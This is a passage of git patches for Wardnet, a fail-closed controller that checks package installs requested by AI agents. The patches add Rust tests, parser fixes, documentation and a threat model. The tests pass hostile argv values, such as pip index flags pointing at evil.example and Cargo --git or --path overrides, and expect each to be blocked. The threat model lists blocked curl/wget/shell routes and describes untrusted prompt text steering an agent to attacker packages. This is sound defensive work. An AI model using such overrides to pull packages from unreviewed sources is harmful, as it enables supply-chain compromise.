https://csrc.nist.gov/Projects/ssdf/publications - ## Evidence limitations Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From 1df4a2a40cf51521a946094fc1011821cb250ad2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:26:44 +0900 Subject: [PATCH 053/247] test(admission): reject attached pip trust/root flags --- .../tests/safety_flag_contract.rs | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index c4cd1efa..d08c9771 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -24,6 +24,49 @@ fn approved_npm_policy() -> AdmissionPolicy { policy } +fn approved_pip_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.1".to_string(); + policy.allowed_executables = vec!["pip".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "pypi".to_string(), + name: "example-package".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "Example".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "example-package==1.2.3".to_string(), + }]; + policy +} + +fn approved_pip_intent(extra_argument: &str) -> InstallIntent { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + extra_argument.to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + intent +} + #[test] fn npm_boolean_overrides_cannot_reenable_install_scripts() { let policy = approved_npm_policy(); @@ -50,3 +93,27 @@ fn npm_boolean_overrides_cannot_reenable_install_scripts() { ); } } + +#[test] +fn pip_attached_short_options_cannot_escape_reviewed_install_capability() { + let policy = approved_pip_policy(); + + for (argument, expected_reason) in [ + ("-t/tmp/wardnet-test-target", "alternate_install_root"), + ("-ihttps://evil.example/simple", "alternate_trust_root"), + ("-fhttps://evil.example/wheels", "alternate_trust_root"), + ] { + let intent = approved_pip_intent(argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{argument}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == expected_reason), + "{argument}: {:?}", + decision.reason_codes + ); + } +} From 02125adf8349cfc3c7e15088c5b27549b3aecd00 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 12:17:03 +0900 Subject: [PATCH 054/247] fix(admission): reject attached short trust/root flags --- crates/agent-artifact-admission/src/policy.rs | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 7e292a98..07a1c3ea 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -414,10 +414,18 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo } fn matches_cli_flag(argument: &str, flag: &str) -> bool { - argument == flag - || argument - .strip_prefix(flag) - .is_some_and(|suffix| suffix.starts_with('=')) + if argument == flag { + return true; + } + let Some(suffix) = argument.strip_prefix(flag) else { + return false; + }; + suffix.starts_with('=') || (is_short_cli_flag(flag) && !suffix.is_empty()) +} + +fn is_short_cli_flag(flag: &str) -> bool { + let bytes = flag.as_bytes(); + bytes.len() == 2 && bytes[0] == b'-' && bytes[1] != b'-' } fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { From ffe89e3caa7c88a925b6cae36fec475e2910af47 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 12:19:49 +0900 Subject: [PATCH 055/247] docs(admission): trace pip trust and install-root controls --- docs/doctoring/agent-artifact-admission.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index c4b7c624..8e1b7c19 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -13,6 +13,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | | Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | +| Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -36,6 +37,10 @@ The TUF specification page lists v1.0.33 as latest at verification time. TUF's m Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. +### pip command trust and installation roots + +The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and `-f`/`--find-links` as inputs that change where package candidates are obtained. It also defines `-t`/`--target`, `--root`, and `--prefix` as controls that redirect where installation output is placed. Those are capability-expanding inputs relative to a reviewed artifact/registry/workspace intent, so Wardnet rejects them rather than silently widening an approved install. The parser recognizes both the documented short-option identity and attached short-option values; the latter is treated fail-closed because otherwise a short spelling can evade a policy that already forbids its long-form capability. + ### npm command safety npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. @@ -48,6 +53,8 @@ National Institute of Standards and Technology. (2022). *Secure software develop National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications +pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ + npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ @@ -60,4 +67,4 @@ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spe ## Evidence limitations -Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. +Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. \ No newline at end of file From 5ea6b47ad80480f71227e73bd3464fc1579e6bd0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:05:21 +0900 Subject: [PATCH 056/247] test(admission): reject uv index trust-root overrides --- .../tests/install_root_contract.rs | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index a86630fe..5cb0bb80 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -106,6 +106,29 @@ fn uv_environment_selection_cannot_escape_the_broker_selected_install_root() { } } +#[test] +fn uv_index_selection_cannot_override_the_approved_registry() { + for extra_arguments in [ + vec!["--index", "https://packages.example.invalid/simple"], + vec!["--index=https://packages.example.invalid/simple"], + vec!["--default-index", "https://packages.example.invalid/simple"], + vec!["--default-index=https://packages.example.invalid/simple"], + ] { + let mut arguments = vec!["pip", "install", "cwl-example==1.2.3", "--require-hashes"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &arguments, + ); + + assert_alternate_trust_root_blocked(&policy, &intent, &label); + } +} + #[test] fn cargo_inline_configuration_cannot_override_install_root() { for extra_arguments in [ @@ -187,6 +210,27 @@ fn assert_alternate_root_blocked(policy: &AdmissionPolicy, intent: &InstallInten ); } +fn assert_alternate_trust_root_blocked( + policy: &AdmissionPolicy, + intent: &InstallIntent, + label: &str, +) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not replace or supplement the reviewed artifact registry" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{label} must produce the stable alternate_trust_root reason" + ); +} + fn install_case( executable: &str, ecosystem: &str, From 7368cc08f8e852cb52ffc9d827ef63b6f31bd1b8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:07:59 +0900 Subject: [PATCH 057/247] fix(admission): block uv and cargo destination overrides --- crates/agent-artifact-admission/src/policy.rs | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 07a1c3ea..8c601dea 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -369,6 +369,8 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { const FORBIDDEN_FLAGS: &[&str] = &[ "--extra-index-url", "--index-url", + "--index", + "--default-index", "--trusted-host", "--find-links", "--registry", @@ -406,9 +408,18 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo && arguments .get(1) .is_some_and(|argument| argument == "install") - && contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + && contains_flag(&[ + "--user", + "--target", + "-t", + "--root", + "--prefix", + "--system", + "--python", + "-p", + ]) } - "cargo" => contains_flag(&["--root"]), + "cargo" => contains_flag(&["--root", "--config"]), _ => false, } } @@ -498,4 +509,4 @@ pub fn sha256_hex(input: &[u8]) -> String { let _ = write!(&mut output, "{byte:02x}"); } output -} \ No newline at end of file +} From cb8006257a27cd93a786f93a3d9575cc232ba0c0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:11:01 +0900 Subject: [PATCH 058/247] docs(admission): trace uv and cargo override controls --- docs/doctoring/agent-artifact-admission.md | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 8e1b7c19..15cda780 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -14,6 +14,8 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | | Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | +| Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | +| Reject Cargo install-root and inline configuration overrides | Cargo documents `--root` and the `install.root` config value as installation-root authorities and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_install_root` plus `cargo_inline_configuration_cannot_override_install_root` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -41,21 +43,37 @@ Sigstore's verification flow validates an artifact signature, the signing identi The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and `-f`/`--find-links` as inputs that change where package candidates are obtained. It also defines `-t`/`--target`, `--root`, and `--prefix` as controls that redirect where installation output is placed. Those are capability-expanding inputs relative to a reviewed artifact/registry/workspace intent, so Wardnet rejects them rather than silently widening an approved install. The parser recognizes both the documented short-option identity and attached short-option values; the latter is treated fail-closed because otherwise a short spelling can evade a policy that already forbids its long-form capability. +### uv package indexes and install environments + +uv's package-index documentation states that command-line indexes take precedence over configured indexes and exposes `--index` and `--default-index` as index-selection controls. Its environment documentation states that `uv pip install --python /path/to/python` can install into an arbitrary environment and that `--system` opts into modifying system Python. Those controls change the trust root or destination selected by the broker-reviewed install intent. Wardnet therefore blocks them instead of assuming that an approved artifact coordinate is sufficient after the submitted command changes where candidates are obtained or where they are installed. + +### Cargo install configuration + +Cargo's `cargo install` documentation defines the install-root precedence as `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home. Cargo's common command options also define `--config KEY=VALUE or PATH` as a command-line configuration override. Because an admission request must not replace the broker-selected installation destination or inject unreviewed Cargo configuration, Wardnet rejects both `--root` and `--config` in the admitted `cargo install` command. The executor or quarantine runtime may establish its own controlled Cargo environment outside this submitted argv boundary. + ### npm command safety npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. ## APA 7 references +Astral Software, Inc. (2026). *Package indexes: uv documentation.* https://docs.astral.sh/uv/configuration/indexes/ + +Astral Software, Inc. (2026). *Using environments: uv documentation.* https://docs.astral.sh/uv/pip/environments/ + Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications +npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ + pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ -npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ +Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html + +Rust Project Developers. (2026). *Configuration: The Cargo Book.* https://doc.rust-lang.org/cargo/reference/config.html SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ @@ -67,4 +85,4 @@ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spe ## Evidence limitations -Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. \ No newline at end of file +Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From a9ec111e2f0780ca6149db51f3d1ce1d299dc824 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:14:42 +0900 Subject: [PATCH 059/247] test(admission): reject Cargo source overrides --- .../tests/install_root_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 5cb0bb80..9f8b6124 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -129,6 +129,29 @@ fn uv_index_selection_cannot_override_the_approved_registry() { } } +#[test] +fn cargo_source_selection_cannot_override_the_approved_registry() { + for extra_arguments in [ + vec!["--git", "https://example.invalid/unreviewed.git"], + vec!["--git=https://example.invalid/unreviewed.git"], + vec!["--path", "/tmp/unreviewed-crate"], + vec!["--path=/tmp/unreviewed-crate"], + ] { + let mut arguments = vec!["install", "cwl-example@1.2.3", "--locked"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &arguments, + ); + + assert_alternate_trust_root_blocked(&policy, &intent, &label); + } +} + #[test] fn cargo_inline_configuration_cannot_override_install_root() { for extra_arguments in [ From 5c1725d2e44c996d96ce37c500943818d9232c17 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:15:40 +0900 Subject: [PATCH 060/247] fix(admission): reject Cargo git and path sources --- crates/agent-artifact-admission/src/policy.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 8c601dea..4412dfb4 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -375,6 +375,8 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { "--find-links", "--registry", "--registry-url", + "--git", + "--path", "-i", "-f", ]; From a216aa1d496e11dbf8cc382550e16bd78302609a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:16:36 +0900 Subject: [PATCH 061/247] docs(admission): trace Cargo source selectors --- docs/doctoring/agent-artifact-admission.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 15cda780..cb4ddaef 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -15,7 +15,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | | Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | -| Reject Cargo install-root and inline configuration overrides | Cargo documents `--root` and the `install.root` config value as installation-root authorities and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_install_root` plus `cargo_inline_configuration_cannot_override_install_root` | +| Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -47,9 +47,9 @@ The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and ` uv's package-index documentation states that command-line indexes take precedence over configured indexes and exposes `--index` and `--default-index` as index-selection controls. Its environment documentation states that `uv pip install --python /path/to/python` can install into an arbitrary environment and that `--system` opts into modifying system Python. Those controls change the trust root or destination selected by the broker-reviewed install intent. Wardnet therefore blocks them instead of assuming that an approved artifact coordinate is sufficient after the submitted command changes where candidates are obtained or where they are installed. -### Cargo install configuration +### Cargo package sources and install configuration -Cargo's `cargo install` documentation defines the install-root precedence as `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home. Cargo's common command options also define `--config KEY=VALUE or PATH` as a command-line configuration override. Because an admission request must not replace the broker-selected installation destination or inject unreviewed Cargo configuration, Wardnet rejects both `--root` and `--config` in the admitted `cargo install` command. The executor or quarantine runtime may establish its own controlled Cargo environment outside this submitted argv boundary. +Cargo's `cargo install` documentation states that crates.io is the default package source while `--git`, `--path`, and `--registry` change that source; it separately exposes `--index` as a registry-index URL. The same command defines install-root precedence through `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home, and Cargo's common options define `--config KEY=VALUE or PATH` as a command-line configuration override. Wardnet therefore rejects submitted source selectors (`--git`, `--path`, `--registry`, `--index`), `--root`, and `--config`: the reviewed artifact coordinate and destination remain the admission authority instead of being silently replaced by command arguments. The executor or quarantine runtime may establish controlled Cargo configuration outside this submitted argv boundary. ### npm command safety From 73fa6a494469c2450ea8e09b7614efe1678cfe6e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:21:15 +0900 Subject: [PATCH 062/247] docs(changelog): record agent artifact admission controls --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 83d80680..b625c964 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,9 +4,12 @@ ### Security +- Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. +- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, and package-manager trust/destination controls with current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 3875e00e9c25af27aed1b8fd351f87c9c1aa5d27 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:21:48 +0900 Subject: [PATCH 063/247] docs(threat-model): define package source and digest boundary --- .../security/agent-artifact-admission-threat-model.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 95fa6783..a31ccf89 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,8 +25,9 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL or local path so the package manager resolves from an unreviewed source | Reject package-manager trust-root/source selectors such as pip/uv alternate indexes and Cargo registry/index/Git/path overrides before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | -| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target or root flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | +| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -40,7 +41,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, or reinterpret an approved workspace install as permission to write into a global/user/alternate install root. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -50,11 +51,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate-root flags, while the downstream execution broker/quarantine runtime still owns actual filesystem, mount and process isolation. +- Package-manager source and destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit alternate-root flags narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved 